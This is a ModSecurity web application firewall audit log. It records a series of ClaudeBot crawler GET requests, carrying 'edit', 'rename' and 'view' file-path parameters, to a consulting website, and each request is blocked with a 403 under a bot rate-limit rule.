{"transaction":{"time":"13/Mar/2026:09:43:48.572515 +0100","transaction_id":"abPORKg_lPa2owFZ6_PuiQAAAQE","remote_address":"216.73.216.152","remote_port":43330,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaro1.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cbfb3a24d4f3590873c90b1f38e29d15","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8916802"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cbfb3a24d4f3590873c90b1f38e29d15","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caro1.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":280,"p2":2821,"p3":0,"p4":0,"p5":485,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.656809 +0100","transaction_id":"abPORFRY1ZHue1KnYxop8QAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2FChristine1.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"12d60d1b47dc5fbe0ef6dae9b16d5135","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740834"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"12d60d1b47dc5fbe0ef6dae9b16d5135","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/Christine1.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":181,"p2":1632,"p3":0,"p4":0,"p5":326,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.746903 +0100","transaction_id":"abPORFRY1ZHue1KnYxop8gAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2F_+%2814%29.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"649c6550759762804e4b4129f35261a9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633867"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"649c6550759762804e4b4129f35261a9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/_ (14).jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":187,"p2":1680,"p3":0,"p4":0,"p5":283,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.839198 +0100","transaction_id":"abPORFRY1ZHue1KnYxop8wAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fajax-loader.gif HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5f098e4f0f7276992f819672c528234b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740837"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5f098e4f0f7276992f819672c528234b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/ajax-loader.gif& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":180,"p2":1679,"p3":0,"p4":0,"p5":315,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:48.930851 +0100","transaction_id":"abPORFRY1ZHue1KnYxop9AAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2FStella.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"98ca6af6f8b99ea15ebb242aef52ab1e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633870"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"98ca6af6f8b99ea15ebb242aef52ab1e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/Stella.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":248,"p2":2373,"p3":0,"p4":0,"p5":407,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:49.022235 +0100","transaction_id":"abPORVRY1ZHue1KnYxop9QAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Frejoins-nous.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e27b7b3786d314d15014256549899741","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740840"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e27b7b3786d314d15014256549899741","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/rejoins-nous.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":255,"p2":2416,"p3":0,"p4":0,"p5":415,"sr":132,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:49.251127 +0100","transaction_id":"abPORVRY1ZHue1KnYxop-AAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaro3.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"238bd95f9528c3e95fed66ba892e2d62","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740846"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"238bd95f9528c3e95fed66ba892e2d62","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caro3.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":195,"p2":1739,"p3":0,"p4":0,"p5":311,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:49.283103 +0100","transaction_id":"abPORVRY1ZHue1KnYxop-QAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fowl.carousel.min.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e2199dd663dd7e9a60853d889cccca50","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7245758"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e2199dd663dd7e9a60853d889cccca50","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/owl.carousel.min.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":325,"p2":2591,"p3":0,"p4":0,"p5":471,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:49.315778 +0100","transaction_id":"abPORVRY1ZHue1KnYxop-gAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Farticle.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6c27965c8447cd8a950ae5bf4b2fe689","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740849"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6c27965c8447cd8a950ae5bf4b2fe689","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/article.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2598,"p3":0,"p4":0,"p5":478,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.383740 +0100","transaction_id":"abPOR2-XEucyBza91ntl5gAAAxI","remote_address":"216.73.216.152","remote_port":46442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdomaine5.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d4febf3088942a102b273d6ef8ce90b7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239128"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d4febf3088942a102b273d6ef8ce90b7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/domaine5.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":266,"p2":2696,"p3":0,"p4":0,"p5":442,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.414790 +0100","transaction_id":"abPOR2-XEucyBza91ntl6AAAAxI","remote_address":"216.73.216.152","remote_port":46442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0e467a486dd4fea2eea58c5c6ff53d71","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239131"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0e467a486dd4fea2eea58c5c6ff53d71","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/banierre1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":263,"p2":2711,"p3":0,"p4":0,"p5":443,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.487644 +0100","transaction_id":"abPOR2-XEucyBza91ntl6gAAAxI","remote_address":"216.73.216.152","remote_port":46442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdomaine4.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7e97a68c8fb82e8f3d9e958d01fa83d5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4202092"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7e97a68c8fb82e8f3d9e958d01fa83d5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/domaine4.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":319,"p2":2649,"p3":0,"p4":0,"p5":351,"sr":168,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
